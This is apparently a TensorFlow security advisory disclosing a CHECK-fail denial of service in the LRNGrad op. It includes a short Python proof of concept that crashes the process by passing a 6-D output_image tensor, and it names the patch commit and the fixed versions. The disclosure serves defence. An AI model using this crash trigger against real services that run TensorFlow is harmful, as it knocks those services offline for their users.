TensorFlow vulnerable to `CHECK` fail in `LRNGrad`

Details

### Impact If `LRNGrad` is given an `output_image` input tensor that is not 4-D, it results in a `CHECK` fail that can be used to trigger a denial of service attack. ```python import tensorflow as tf depth_radius = 1 bias = 1.59018219 alpha = 0.117728651 beta = 0.404427052 input_grads = tf.random.uniform(shape=[4, 4, 4, 4], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2033) input_image = tf.random.uniform(shape=[4, 4, 4, 4], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2033) output_image = tf.random.uniform(shape=[4, 4, 4, 4, 4, 4], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2033) tf.raw_ops.LRNGrad(input_grads=input_grads, input_image=input_image, output_image=output_image, depth_radius=depth_radius, bias=bias, alpha=alpha, beta=beta) ```

### Patches We have patched the issue in GitHub commit [bd90b3efab4ec958b228cd7cfe9125be1c0cf255](https://github.com/tensorflow/tensorflow/commit/bd90b3efab4ec958b228cd7cfe9125be1c0cf255).

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
